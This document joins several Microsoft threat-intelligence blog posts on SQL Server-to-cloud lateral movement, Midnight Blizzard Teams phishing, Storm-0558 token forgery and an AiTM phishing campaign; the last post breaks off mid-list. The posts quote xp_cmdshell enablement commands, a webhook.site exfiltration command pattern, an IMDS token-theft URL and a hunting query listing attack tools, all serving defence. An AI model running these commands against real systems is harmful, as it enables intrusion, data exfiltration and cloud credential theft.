We assess that it is likely that the application targeted with the SQL injection vulnerability had elevated permissions, thus granting the attackers a similar level of access. The attackers used this elevated permission to turn on the xp_cmdshell command, a method to launch operating system (OS) commands through a SQL query. Since xp_cmdshell is turned off by default to prevent exploitation, the attackers used the permissions they acquired to change the SQL configuration and ran the following commands to turn on xp_cmdshell:

1. “EXEC master..sp_configure ‘SHOW advanced options’,1; “RECONFIGURE WITH OVERRIDE;”
2. “EXEC master..sp_configure ‘xp_cmdshell’, 1; RECONFIGURE WITH OVERRIDE;”
3. “EXEC master..sp_configure ‘SHOW advanced options’,0; RECONFIGURE WITH OVERRIDE;”

After enabling xp_cmdshell, the attackers manually initiated a series of operating system commands to launch the next phases of the attack. By using xp_cmdshell, the attackers were able to operate as if they had a shell on the host.

To collect data, the attackers used simple methods such as reading directories, listing processes, and checking network shares. The attackers downloaded several executables and PowerShell scripts that are encoded and compressed. Most of the attacker’s actions from this point were through PowerShell commands, scripts, and modules.

For persistence, the attackers used a scheduled task to launch a backdoor script. In addition, the attackers tried to get credentials by dumping SAM and SECURITY registry keys.

The attackers used a unique method for data exfiltration: they utilized a publicly accessible service called “webhook.site”. This service functions as a free platform for inspecting, debugging, and receiving incoming HTTP requests and emails. Any request directed to this address is promptly logged. The commands are in this pattern: Command | Out-String ;Invoke-WebRequest -Uri https[:]//webhook.site/G-UID. Utilizing this method for data exfiltration allowed the attackers to operate discreetly when transmitting outgoing traffic, as the selected service can be considered as legitimate.

While looking at the technique used by the attackers to perform lateral movement, we encountered a familiar method implemented in a distinct environment: the attackers tried utilizing the cloud identity of the SQL Server instance by accessing the IMDS and obtaining the cloud identity access key. The IMDS is a RESTful web service that runs on a local IP address (169.254.169[.]254) and provides information about the VM, such as the VM’s region, tags, and the identity token. The identity token is a JSON Web Token (JWT) that contains the claims and the signature of the identity.

The request to IMDS identity’s endpoint returns the security credentials (identity token) for the cloud identity. For example, in Azure this request would look like: hxxp://169.254.169[.]254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

With the identity token, the attackers can perform various operations on cloud resources that the cloud identity has access to. They can perform lateral movement across the cloud environment, thus getting access to external services. While the attackers in this case were unsuccessful in attempts to take advantage of this technique due to an error, we strongly recommend defenders to apply the best practices we provide in this blog post to protect environments against attacks that may use the same technique.

Conclusion

To summarize, this attack demonstrates the attempt to leverage cloud identities in a SQL Server instance for lateral movement. This is a technique we are familiar with in other cloud services such as VMs and Kubernetes cluster but haven’t seen before in SQL Server instances. We have observed numerous attacks attempting to leverage cloud identities in Kubernetes and are aware of the potential risks and impact that can result from unauthorized access to their identity tokens. Similarly, in SQL Server, cloud identities are also commonly employed and might possess elevated permissions to carry out actions in the cloud. Not properly securing cloud identities can expose SQL Server instances and cloud resources to similar risks. This method provides an opportunity for the attackers to achieve greater impact not only on the SQL Server instances but also on the associated cloud resources.

With the increasing adoption of cloud technology, attackers and threat actors are utilizing known attack techniques in new environments and are becoming more sophisticated. This evolving landscape of cloud-based attack techniques, with lateral movement being one of them, emphasizes the need for organizations to ensure strong defenses and safeguarding of critical assets in the cloud.

This attack also highlights the importance of least privilege practices when designing and deploying cloud-based and on-premises solutions. Attackers are often able to conduct further malicious activities through abusing over-privileged processes, accounts, managed identities, and database connections. In this case, organizations are recommended to ensure that all applications are updated and secured and are given only the necessary permissions and privileges, to avoid putting connected SQL Server instances, as well as other cloud resources, at risk.

Detection

Microsoft Defender for Cloud

The Microsoft Defender for Cloud helps to discover and mitigate potential database vulnerabilities and detects anomalous activities that may be an indication of a threat to SQL databases, SQL Servers on machines, open-source databases, and Azure Cosmos DB through Microsoft Defender for SQL.

The following Defender for SQL alerts might indicate threat activity like the threat described in this blog post:

• Potential SQL injection
• A possible vulnerability to SQL Injection
• SQL Server potentially spawned a Windows command shell and accessed an abnormal external source

As a cloud-based next-generation database protection solution, Defender for SQL is continuously updated with new detection capabilities and can now detect IMDS calls from SQL Server instances, the technique described in this article.

Microsoft Defender for Cloud also features Microsoft Defender for Resource Manager that analyzes Azure control plane operations to find abnormal behavior of cloud identities. This coverage can help find lateral movement activities in your cloud environment.

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts might indicate threat activity related to this threat, specifically the use of the xp_cmdshell command. Note, however, that these alerts can also be triggered by unrelated threat activity.

• SQL Server login using xp_cmdshell
• Suspicious SQLCMD activity

Mitigation

The vulnerability assessment solution in Defender for SQL can also detect vulnerabilities and misconfigurations in the database. Mitigating and responding to vulnerabilities reduces the attack surface of the SQL Server and can prevent potential attacks. One of the SQL vulnerability assessment rules involves the enablement of xp_cmdshell, providing a means to identify database instances where this setting is enabled.

With this coverage of the wide aspects of lateral movement in the cloud, and the correlations between them, organizations can strengthen their defenses and safeguard their critical assets from the risk of lateral movement. We also recommend following security best practices for managed identities to prevent lateral movement in the cloud. By implementing those security measures and adhering to the least privilege principle when granting permissions to managed identities, organizations can reduce the attack surface of those identities.

Hunting queries

Microsoft 365 Defender

Microsoft 365 Defender is becoming Microsoft Defender XDR. Learn more.

Microsoft 365 Defender customers can run the following query to find related activity in their networks:

SQL Server abuse

SQL Server offers a vast array of tools for automating tasks, exporting data, and running scripts. These legitimate tools can be repurposed by attackers. Because there are so many powerful commands an attacker might exploit, hunting for malicious activity involving SQL Server can be complicated.

This query detects instances of a SQL Server process launching a shell to run one or more suspicious commands.

let relevantCmdlineTokens = pack_array
("advpack.dll","appvlp.exe","atbroker.exe","bash.exe","bginfo.exe","bitsadmin.exe","cdb.exe","certutil.exe","cl_invocation.ps1","cl_mutexverifiers.ps1","cmstp.exe","Copy-Item","csi.exe","diskshadow.exe","dnscmd.exe","dnx.exe","dxcap.exe","esentutl.exe","expand.exe","extexport.exe","extrac32.exe","findstr.exe","forfiles.exe","ftp.exe","gpscript.exe","hh.exe","ie4uinit.exe","ieadvpack.dll","ieaframe.dll","ieexec.exe","infdefaultinstall.exe", "installutil.exe","Invoke-WebRequest","makecab.exe","manage-bde.wsf","mavinject.exe","mftrace.exe","microsoft.workflow.compiler.exe","mmc.exe","msbuild.exe","msconfig.exe","msdeploy.exe","msdt.exe","mshta.exe","mshtml.dll","msiexec.exe","msxsl.exe","netstat","odbcconf.exe","pcalua.exe","pcwrun.exe","pcwutl.dll","pester.bat","ping","presentationhost.exe","pubprn.vbs","rcsi.exe","regasm.exe","register-cimprovider.exe","regsvcs.exe","regsvr32.exe","replace.exe","rundll32.exe","runonce.exe","runscripthelper.exe","schtasks.exe","scriptrunner.exe","setupapi.dll","shdocvw.dll","shell32.dll","slmgr.vbs","sqltoolsps.exe","syncappvpublishingserver.exe","syncappvpublishingserver.vbs","sysinfo","syssetup.dll","systeminfo","taskkill","te.exe","tracker.exe","url.dll","verclsid.exe","vsjitdebugger.exe","wab.exe","WebClient","wget","whoami","winrm.vbs","wmic.exe","xwizard.exe","zipfldr.dll","certutil");
DeviceProcessEvents 
| where Timestamp >= ago(10d)
| where InitiatingProcessFileName in~ ("sqlservr.exe", "sqlagent.exe", "sqlps.exe", "launchpad.exe")
| summarize DistinctProcessCommandLines = tostring(makeset(ProcessCommandLine)) by DeviceId, bin(Timestamp, 2m)  
| where DistinctProcessCommandLines has_any(relevantCmdlineTokens) 

Microsoft Sentinel

Microsoft Sentinel customers can deploy the Azure SQL solution that allows security analysts and administrators to rapidly deploy a range of detection and hunting queries to their Microsoft Sentinel environment. For instance, the solution’s analytical rules assist in pinpointing unique SQL queries that attempt or succeed in executing commands – such as attempts to execute shell commands, suggestive of potential security risks. Additionally, the hunting queries will highlight instances where potentially risky stored procedures like xp_cmdshell are called upon.

Microsoft Sentinel has a range of detection and threat hunting content that customers can use to detect the activity detailed in this blog:

• Attempts to execute shell command
• Suspicious stored procedures like xp_cmdshell

If the Azure SQL Solution is not currently deployed, Microsoft Sentinel customers can install the solution from the Content Hub to have the rules deployed in their Sentinel workspace. More details on the Content Hub can be found here:  https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy.

Sunders Bruskin, Hagai Ran Kestenberg, Fady Nasereldeen, Cloud researchers in Microsoft Threat Intelligence team

Further reading

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on Twitter at https://twitter.com/MsftSecIntel.

The post Defending new vectors: Threat actors attempt SQL Server to cloud lateral movement appeared first on Microsoft Security Blog.

Our current investigation indicates this campaign has affected fewer than 40 unique global organizations. The organizations targeted in this activity likely indicate specific espionage objectives by Midnight Blizzard directed at government, non-government organizations (NGOs), IT services, technology, discrete manufacturing, and media sectors. Microsoft has mitigated the actor from using the domains and continues to investigate this activity and work to remediate the impact of the attack. As with any observed nation-state actor activity, Microsoft has directly notified targeted or compromised customers, providing them with important information needed to secure their environments.

Midnight Blizzard (NOBELIUM) is a Russia-based threat actor attributed by the US and UK governments as the Foreign Intelligence Service of the Russian Federation, also known as the SVR. This threat actor is known to primarily target governments, diplomatic entities, non-government organizations (NGOs), and IT service providers primarily in the US and Europe. Their focus is to collect intelligence through longstanding and dedicated espionage of foreign interests that can be traced to early 2018. Their operations often involve compromise of valid accounts and, in some highly targeted cases, advanced techniques to compromise authentication mechanisms within an organization to expand access and evade detection.

Midnight Blizzard is consistent and persistent in their operational targeting, and their objectives rarely change. They utilize diverse initial access methods ranging from stolen credentials to supply chain attacks, exploitation of on-premises environments to laterally move to the cloud, exploitation of service providers’ trust chain to gain access to downstream customers, as well as the Active Directory Federation Service (AD FS) malware known as FOGGYWEB and MAGICWEB. Midnight Blizzard (NOBELIUM) is tracked by partner security vendors as APT29, UNC2452, and Cozy Bear.

Midnight Blizzard’s latest credential phishing attack

Midnight Blizzard regularly utilizes token theft techniques for initial access into targeted environments, in addition to authentication spear-phishing, password spray, brute force, and other credential attacks. The attack pattern observed in malicious activity since at least late May 2023 has been identified as a subset of broader credential attack campaigns that we attribute to Midnight Blizzard.

Use of security-themed domain names in lures

To facilitate their attack, the actor uses Microsoft 365 tenants owned by small businesses they have compromised in previous attacks to host and launch their social engineering attack. The actor renames the compromised tenant, adds a new onmicrosoft.com subdomain, then adds a new user associated with that domain from which to send the outbound message to the target tenant. The actor uses security-themed or product name-themed keywords to create a new subdomain and new tenant name to lend legitimacy to the messages. These precursory attacks to compromise legitimate Azure tenants and the use of homoglyph domain names in social engineering lures are part of our ongoing investigation. Microsoft has mitigated the actor from using the domains.

Social engineering attack chain

In this activity, Midnight Blizzard either has obtained valid account credentials for the users they are targeting, or they are targeting users with passwordless authentication configured on their account – both of which require the user to enter a code that is displayed during the authentication flow into the prompt on the Microsoft Authenticator app on their mobile device.

After attempting to authenticate to an account where this form of MFA is required, the actor is presented with a code that the user would need to enter in their authenticator app. The user receives the prompt for code entry on their device. The actor then sends a message to the targeted user over Microsoft Teams eliciting the user to enter the code into the prompt on their device.

Step 1: Teams request to chat

The target user may receive a Microsoft Teams message request from an external user masquerading as a technical support or security team.

Step 2: Request authentication app action

If the target user accepts the message request, the user then receives a Microsoft Teams message from the attacker attempting to convince them to enter a code into the Microsoft Authenticator app on their mobile device.

Step 3: Successful MFA authentication

If the targeted user accepts the message request and enters the code into the Microsoft Authenticator app, the threat actor is granted a token to authenticate as the targeted user. The actor gains access to the user’s Microsoft 365 account, having completed the authentication flow.

The actor then proceeds to conduct post-compromise activity, which typically involves information theft from the compromised Microsoft 365 tenant. In some cases, the actor attempts to add a device to the organization as a managed device via Microsoft Entra ID (formerly Azure Active Directory), likely an attempt to circumvent conditional access policies configured to restrict access to specific resources to managed devices only.

Recommendations

Microsoft recommends the following mitigations to reduce the risk of this threat.

• Pilot and start deploying phishing-resistant authentication methods for users.
• Implement Conditional Access authentication strength to require phishing-resistant authentication for employees and external users for critical apps.
• Apply security best practices for Microsoft Teams. Refer to the security guide for Microsoft Teams.
  • Understand and select the best access settings for external collaboration for your organization.
  • Specify trusted Microsoft 365 organizations to define which external domains are allowed or blocked to chat and meet.
• Keep Microsoft 365 auditing enabled so that audit records could be investigated if required.
• Allow only known devices that adhere to Microsoft’s recommended security baselines.
• Educate users about social engineering and credential phishing attacks, including refraining from entering MFA codes sent via any form of unsolicited messages.
  • Educate Microsoft Teams users to verify ‘External’ tagging on communication attempts from external entities, be cautious about what they share, and never share their account information or authorize sign-in requests over chat.
  • Educate Microsoft Teams users about accepting or blocking people outside the organization who send messages in Microsoft Teams.
• Educate users to review sign-in activity and mark suspicious sign-in attempts as “This wasn’t me”.
• Implement Conditional Access App Control in Microsoft Defender for Cloud Apps for users connecting from unmanaged devices.

Indicators of compromise

Hunting guidance

Microsoft Purview

Customers hunting for related activity in their environment can identify users that were targeted with the phishing lure using content search in Microsoft Purview. A content search can be created for selected Exchange mailboxes (which include Teams messages) using the following keywords (remove the [] around the “.” before use): 

• mlcrosoftaccounts.onmicrosoft[.]com
• msftonlineservices.onmicrosoft[.]com
• msonlineteam.onmicrosoft[.]com
• msftservice.onmicrosoft[.]com
• noreplyteam.onmicrosoft[.]com
• accounteam.onmicrosoft[.]com
• teamsprotection.onmicrosoft[.]com
• identityverification.onmicrosoft[.]com
• msftprotection.onmicrosoft[.]com
• accountsverification.onmicrosoft[.]com
• azuresecuritycenter.onmicrosoft[.]com
• We detected a recent change to your preferred Multi-Factor Authentication (MFA)

The search results will include the messages that match the criteria. The first result will appear to be from <threadid>@unq.gbl.spaces addressed to the target user and the threat actor (i.e., the request to chat as described in Step 1), followed by the message sent by the threat actor, as shown in the Microsoft Purview image below:

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with “TI map”) to automatically match indicators associated with Midnight Blizzard in Microsoft Defender Threat Intelligence with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the Defender Threat Intelligence connector and analytics rule deployed in their Sentinel workspace. Learn more about the Content Hub.

Microsoft Sentinel also has a range of detection and threat hunting content that customers can use to detect activity related to the activity described in this blog:

• Azure portal sign-in from another Azure tenant
• Successful sign-in from non-compliant device
• User accounts – Sign-in failure due to CA spikes
• New onmicrosoft domain added to tenant

Further reading

Read about the threat actor Midnight Blizzard (formerly tracked as NOBELIUM).

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on Twitter at https://twitter.com/MsftSecIntel.

The post Midnight Blizzard conducts targeted social engineering over Microsoft Teams appeared first on Microsoft Security Blog.

Executive summary

On July 11, 2023, Microsoft published two blogs detailing a malicious campaign by a threat actor tracked as Storm-0558 that targeted customer email that we’ve detected and mitigated: Microsoft Security Response Center and Microsoft on the Issues. As we continue our investigation into this incident and deploy defense in depth measures to harden all systems involved, we’re providing this deeper analysis of the observed actor techniques for obtaining unauthorized access to email data, tools, and unique infrastructure characteristics.

September 6, 2023 update – Microsoft has completed a comprehensive technical investigation into Storm-0558’s acquisition of the Microsoft account consumer signing key. Investigation findings are released on the Microsoft Security Response Center blog: Results of major technical investigations for Storm-0558 key acquisition. 

August 2024 update – Microsoft now tracks Storm-0558 as Antique Typhoon.

As described in more detail in our July 11 blogs, Storm-0558 is a China-based threat actor with espionage objectives. Beginning May 15, 2023, Storm-0558 used forged authentication tokens to access user email from approximately 25 organizations, including government agencies and related consumer accounts in the public cloud. No other environment was impacted. Microsoft has successfully blocked this campaign from Storm-0558. As with any observed nation-state actor activity, Microsoft has directly notified targeted or compromised customers, providing them with important information needed to secure their environments.

Since identification of this malicious campaign on June 16, 2023, Microsoft has identified the root cause, established durable tracking of the campaign, disrupted malicious activities, hardened the environment, notified every impacted customer, and coordinated with multiple government entities. We continue to investigate and monitor the situation and will take additional steps to protect customers.

Actor overview

Microsoft Threat Intelligence assesses with moderate confidence that Storm-0558 is a China-based threat actor with activities and methods consistent with espionage objectives. While we have discovered some minimal overlaps with other Chinese groups such as Violet Typhoon (ZIRCONIUM, APT31), we maintain high confidence that Storm-0558 operates as its own distinct group.

Figure 1 shows Storm-0558 working patterns from April to July 2023; the actor’s core working hours are consistent with working hours in China, Monday through Friday from 12:00 AM UTC (8:00 AM China Standard time) through 09:00 AM UTC (5:00 PM China Standard Time).

In past activity observed by Microsoft, Storm-0558 has primarily targeted US and European diplomatic, economic, and legislative governing bodies, and individuals connected to Taiwan and Uyghur geopolitical interests. 

Historically, this threat actor has displayed an interest in targeting media companies, think tanks, and telecommunications equipment and service providers. The objective of most Storm-0558 campaigns is to obtain unauthorized access to email accounts belonging to employees of targeted organizations. Storm-0558 pursues this objective through credential harvesting, phishing campaigns, and OAuth token attacks. This threat actor has displayed an interest in OAuth applications, token theft, and token replay against Microsoft accounts since at least August 2021. Storm-0558 operates with a high degree of technical tradecraft and operational security. The actors are keenly aware of the target’s environment, logging policies, authentication requirements, policies, and procedures. Storm-0558’s tooling and reconnaissance activity suggests the actor is technically adept, well resourced, and has an in-depth understanding of many authentication techniques and applications.

In the past, Microsoft has observed Storm-0558 obtain credentials for initial access through phishing campaigns. The actor has also exploited vulnerabilities in public-facing applications to gain initial access to victim networks. These exploits typically result in web shells, including China Chopper, being deployed on compromised servers. One of the most prevalent malware families used by Storm-0558 is a shared tool tracked by Microsoft as Cigril. This family exists in several variants and is launched using dynamic-link library (DLL) search order hijacking.

After gaining access to a compromised system, Storm-0558 accesses credentials from a variety of sources, including the LSASS process memory and Security Account Manager (SAM) registry hive. Microsoft assesses that once Storm-0558 has access to the desired user credentials, the actor signs into the compromised user’s cloud email account with the valid account credentials. The actor then collects information from the email account over the web service.

Initial discovery and analysis of current activity

On June 16, 2023, Microsoft was notified by a customer of anomalous Exchange Online data access. Microsoft analysis attributed the activity to Storm-0558 based on established prior TTPs. We determined that Storm-0558 was accessing the customer’s Exchange Online data using Outlook Web Access (OWA). Microsoft’s investigative workflow initially assumed the actor was stealing correctly issued Azure Active Directory (Azure AD) tokens, most probably using malware on infected customer devices. Microsoft analysts later determined that the actor’s access was utilizing Exchange Online authentication artifacts, which are typically derived from Azure AD authentication tokens (Azure AD tokens). Further in-depth analysis over the next several days led Microsoft analysts to assess that the internal Exchange Online authentication artifacts did not correspond to Azure AD tokens in Microsoft logs.

Microsoft analysts began investigating the possibility that the actor was forging authentication tokens using an acquired Azure AD enterprise signing key. In-depth analysis of the Exchange Online activity discovered that in fact the actor was forging Azure AD tokens using an acquired Microsoft account (MSA) consumer signing key. This was made possible by a validation error in Microsoft code. The use of an incorrect key to sign the requests allowed our investigation teams to see all actor access requests which followed this pattern across both our enterprise and consumer systems. Use of the incorrect key to sign this scope of assertions was an obvious indicator of the actor activity as no Microsoft system signs tokens in this way. Use of acquired signing material to forge authentication tokens to access customer Exchange Online data differs from previously observed Storm-0558 activity. Microsoft’s investigations have not detected any other use of this pattern by other actors and Microsoft has taken steps to block related abuse.

Actor techniques

Token forgery

Authentication tokens are used to validate the identity of entities requesting access to resources – in this case, email. These tokens are issued to the requesting entity (such as a user’s browser) by identity providers like Azure AD. To prove authenticity, the identity provider signs the token using a private signing key. The relying party validates the token presented by the requesting entity by using a public validation key. Any request whose signature is correctly validated by the published public validation key will be trusted by the relying party. An actor that can acquire a private signing key can then create falsified tokens with valid signatures that will be accepted by relying parties. This is called token forgery.

Storm-0558 acquired an inactive MSA consumer signing key and used it to forge authentication tokens for Azure AD enterprise and MSA consumer to access OWA and Outlook.com. All MSA keys active prior to the incident – including the actor-acquired MSA signing key – have been invalidated. Azure AD keys were not impacted. The method by which the actor acquired the key is a matter of ongoing investigation. Though the key was intended only for MSA accounts, a validation issue allowed this key to be trusted for signing Azure AD tokens. This issue has been corrected.

As part of defense in depth, we continuously update our systems. We have substantially hardened key issuance systems since the acquired MSA key was initially issued. This includes increased isolation of the systems, refined monitoring of system activity, and moving to the hardened key store used for our enterprise systems. We have revoked all previously active keys and issued new keys using these updated systems. Our active investigation indicates these hardening and isolation improvements disrupt the mechanisms we believe the actor could have used to acquire MSA signing keys. No key-related actor activity has been observed since Microsoft invalidated the actor-acquired MSA signing key. Further, we have seen Storm-0558 transition to other techniques, which indicates that the actor is not able to utilize or access any signing keys. We continue to explore other ways the key may have been acquired and add additional defense in depth measures.

Identity techniques for access

Once authenticated through a legitimate client flow leveraging the forged token, the threat actor accessed the OWA API to retrieve a token for Exchange Online from the GetAccessTokenForResource API used by OWA. The actor was able to obtain new access tokens by presenting one previously issued from this API due to a design flaw. This flaw in the GetAccessTokenForResourceAPI has since been fixed to only accept tokens issued from Azure AD or MSA respectively. The actor used these tokens to retrieve mail messages from the OWA API. 

Actor tooling

Microsoft Threat Intelligence routinely identifies threat actor capabilities and leverages file intelligence to facilitate our protection of Microsoft customers. During this investigation, we identified several distinct Storm-0558 capabilities that facilitate the threat actor’s intrusion techniques. The capabilities described in this section are not expected to be present in the victim environment.

Storm-0558 uses a collection of PowerShell and Python scripts to perform REST API calls against the OWA Exchange Store service. For example, Storm-0558 has the capability to use minted access tokens to extract email data such as:

• Download emails
• Download attachments
• Locate and download conversations
• Get email folder information

The generated web requests can be routed through a Tor proxy or several hardcoded SOCKS5 proxy servers. The threat actor was observed using several User-Agents when issuing web requests, for example:

• Client=REST;Client=RESTSystem;;
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Edg/106.0.1370.52
• “Microsoft Edge”;v=”113″, “Chromium”;v=”113″, “Not-A.Brand”;v=”24″

The scripts contain highly sensitive hardcoded information such as bearer access tokens and email data, which the threat actor uses to perform the OWA API calls. The threat actor has the capability to refresh the access token for use in subsequent OWA commands.

Actor infrastructure

During significant portions of Storm-0558’s malicious activities, the threat actor leveraged dedicated infrastructure running the SoftEther proxy software. Proxy infrastructure complicates detection and attribution of Storm-0558 activities. During our response, Microsoft Threat Intelligence identified a unique method of profiling this proxy infrastructure and correlated with behavioral characteristics of the actor intrusion techniques. Our profile was based on the following facets:

1. Hosts operating as part of this network present a JARM fingerprint consistent with SoftEther VPN: 06d06d07d06d06d06c42d42d000000cdb95e27fd8f9fee4a2bec829b889b8b.
2. Presented x509 certificate has expiration date of December 31, 2037.
3. Subject information within the x509 certificate does not contain “softether”.

Over the course of the campaign, the IPs listed in the table below were used during the corresponding timeframes.

As early as May 15, 2023, Storm-0558 shifted to using a separate series of dedicated infrastructure servers specifically for token replay and interaction with Microsoft services. It is likely that the dedicated infrastructure and supporting services configured on this infrastructure offered a more efficient manner of facilitating the actor’s activities. The dedicated infrastructure would host an actor-developed web panel that presented an authentication page at URI /#/login. The observed sign-in pages had one of two SHA-1 hashes: 80d315c21fc13365bba5b4d56357136e84ecb2d4 and 931e27b6f1a99edb96860f840eb7ef201f6c68ec.

As part of the intelligence-driven response to this campaign, and in support of tracking, analyzing, and disrupting actor activity, analytics were developed to proactively track the dedicated infrastructure. Through this tracking, we identified the following dedicated infrastructure.

The last observed dedicated token replay infrastructure associated with this activity was stood down on July 4, 2023, roughly one day following the coordinated mitigation conducted by Microsoft. 

Post-compromise activity

Our telemetry and investigations indicate that post-compromise activity was limited to email access and exfiltration for targeted users.

Mitigation and hardening

No customer action is required to mitigate the token forgery technique or validation error in OWA or Outlook.com. Microsoft has mitigated this issue on customers’ behalf as follows:

• On June 26, OWA stopped accepting tokens issued from GetAccessTokensForResource for renewal, which mitigated the token renewal being abused.
• On June 27, Microsoft blocked the usage of tokens signed with the acquired MSA key in OWA preventing further threat actor enterprise mail activity.
• On June 29, Microsoft completed replacement of the key to prevent the threat actor from using it to forge tokens. Microsoft revoked all MSA signing which were valid at the time of the incident, including the actor-acquired MSA key. The new MSA signing keys are issued in substantially updated systems which benefit from hardening not present at issuance of the actor-acquired MSA key:
  • Microsoft has increased the isolation of these systems from corporate environments, applications, and users.Microsoft has refined monitoring of all systems related to key activity, and increased automated alerting related to this monitoring.
  • Microsoft has moved the MSA signing keys to the key store used for our enterprise systems.
• On July 3, Microsoft blocked usage of the key for all impacted consumer customers to prevent use of previously-issued tokens.

Ongoing monitoring indicates that all actor activity related to this incident has been blocked. Microsoft will continue to monitor Storm-0558 activity and implement protections for our customers.

Recommendations

Microsoft has mitigated this activity on our customers’ behalf for Microsoft services. No customer action is required to prevent threat actors from using the techniques described above to access Exchange Online and Outlook.com.

Indicators of compromise

Further reading

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on Twitter at https://twitter.com/MsftSecIntel.

The post Analysis of Storm-0558 techniques for unauthorized email access appeared first on Microsoft Security Blog.

While the attack achieved the end goal of a typical AiTM phishing attack followed by business email compromise, notable aspects, such as the use of indirect proxy rather than the typical reverse proxy techniques, exemplify the continuous evolution of these threats. The use of indirect proxy in this campaign provided attackers control and flexibility in tailoring the phishing pages to their targets and further their goal of session cookie theft. After signing in with the stolen cookie through a session replay attack, the threat actors leveraged multifactor authentication (MFA) policies that have not been configured using security best practices in order to update MFA methods without an MFA challenge. A second-stage phishing campaign followed, with more than 16,000 emails sent to the target’s contacts.

This attack highlights the complexity of AiTM attacks and the comprehensive defenses they necessitate. This sophisticated AiTM attack requires beyond the typical remediation measures for identity compromise such as a password reset. Affected organizations need to revoke session cookies and roll back MFA modifications made by the threat actor. The incident also highlights the importance of proactive threat hunting to discover new TTPs on previously known campaigns to surface and remediate these types of threats.

To launch this attack, the attackers used an AiTM phishing kit developed, maintained, and operated by a threat actor that Microsoft tracks as Storm-1167. As part of our threat actor tracking and naming taxonomy, Microsoft uses Storm-#### designations as a temporary name given to an unknown, emerging, or developing cluster of threat activity, allowing Microsoft to track it as a unique set of information until we reach high confidence about the origin or identity of the actor behind the activity.

AiTM with indirect proxy

Adversary-in-the-middle (T1557, T1111) is a type of attack that aims to intercept authentication between users and a legitimate authentication service for the purpose of compromising identities or performing other actions. The attackers position themselves between a user and the service to steal credentials and intercept MFA in order to capture the session cookie. The attackers can then replay the session with the stolen session cookie before the token expiration time and impersonate the user without user intervention or MFA. With this session, the attackers could access the affected user’s resources and applications and perform business email compromise attacks and other malicious activities. More details about AiTM campaigns can be found on the blog Attackers use AiTM phishing sites as entry point to further financial fraud.

Unlike campaigns we have previously reported, this attack did not use the reverse proxy method that AiTM kits like EvilProxy and NakedPages use, in which the attacker’s server proxies the request from the application’s legitimate sign-in page. Instead, the attack used AiTM attack with indirect proxy method, in which the attacker presented targets with a website that mimicked the sign-in page of the targeted application, as in traditional phishing attacks, hosted on a cloud service. The said sign-in page contained resources loaded from an attacker-controlled server, which initiated an authentication session with the authentication provider of the target application using the victim’s credentials.

In this AiTM attack with indirect proxy method, since the phishing website is set up by the attackers, they have more control to modify the displayed content according to the scenario. In addition, since the phishing infrastructure is controlled by the attackers, they have the flexibility to create multiple servers to evade detections. Unlike typical AiTM attacks, there are no HTTP packets proxied between the target and the actual website.

When MFA is requested after successful password validation, the server displays a fake MFA page. Once the MFA is provided by the user, the attacker uses the same MFA token in the initiated session with the authentication provider. Following successful authentication, the session token is granted to the attacker, and victim is redirected to another page. The following diagram illustrates the AiTM attack observed in this scenario:

Attack chain: AiTM phishing attack leads to second-stage BEC

Our investigation into an AiTM phishing attack using the Storm-1167 AiTM kit uncovered details of a campaign that led to BEC activity. In the following sections, we present our in-depth analysis of the end-to-end attack chain.

Stage 1: Initial access via trusted vendor compromise

The attack started with a phishing email from one of the target organizations’ trusted vendors. The phishing email was sent with a seven-digit code as the subject. This code was unique for every target organization, which is likely a tracking mechanism for the attacker. The email body included a link to view or download a fax document. The link pointed to a malicious URL hosted on canva[.]com.

Sending phishing emails from a trusted vendor was one of the common behaviors that was observed for this threat actor across multiple targeted organizations. The intent of this behavior is to abuse the trusted vendor relationship and to blend with legitimate email traffic. A few of the target organizations had policies that automatically allow emails from trusted vendors, enabling the attacker to slip past detections.

Stage 2: Malicious URL click

Threat actors often abuse legitimate services and brands to avoid detection. In this scenario, we observed that the attacker leveraged the legitimate service Canva for the phishing campaign. Canva is a graphic design platform that allows users to create social media graphics, presentations, posters, and other visual content. Attackers abused the Canva platform to host a page that shows a fake OneDrive document preview and links to a phishing URL:

Stage 3: AiTM attack

Accessing the URL redirected the user to a phishing page hosted on the Tencent cloud platform that spoofed a Microsoft sign-in page. The final URL was different for every user but showed the same spoofed sign-in page.

After the target provided the password on the phishing page, the attacker then used the credentials in an authentication session created on the target website. When the attacker is prompted with MFA in the authentication session, the attacker modified the phishing page into a forged MFA page (as seen below). Once the target completed the multifactor authentication, the session token was then captured by the attacker.

The phishing pages for the AiTM attack were hosted on IP addresses located in Indonesia. The follow-on sign-ins described in the following sections were also observed from the same IP addresses.

Stage 4: Session cookie replay

In a stolen session cookie replay attack, the attacker uses the valid stolen cookie to impersonate the user, circumventing authentication mechanisms of passwords and MFA. In this campaign, we observed that the attacker signed in with the stolen cookie after a few hours from an IP address based in the United States. The attacker masqueraded as the target with this session replay attack and accessed email conversations and documents hosted in the cloud. In addition, the attacker generated a new access token, allowing them to persist longer in the environment.

Stage 5: MFA method modification

The attacker then proceeded to add a new MFA method for the target’s account, which was through phone based one-time password (OTP), in order to sign in using the user’s stolen credentials undetected. Adding a new MFA method, by default, does not require re-authentication. In this campaign, a common behavior that was observed was the attacker adding OneWaySMS, a phone-based OTP service, as a new MFA method in addition to the existing method used by the target. A phone number with the Iranian country code was observed added as the number used to receive the phone-based OTP.

Stage 6: Inbox rule creation

The attacker later signed in with the new session token and created an Inbox rule with parameters that moved all incoming emails on the user’s mailbox to the Archive folder and marked all the emails as read.

Stage 7: Phishing campaign

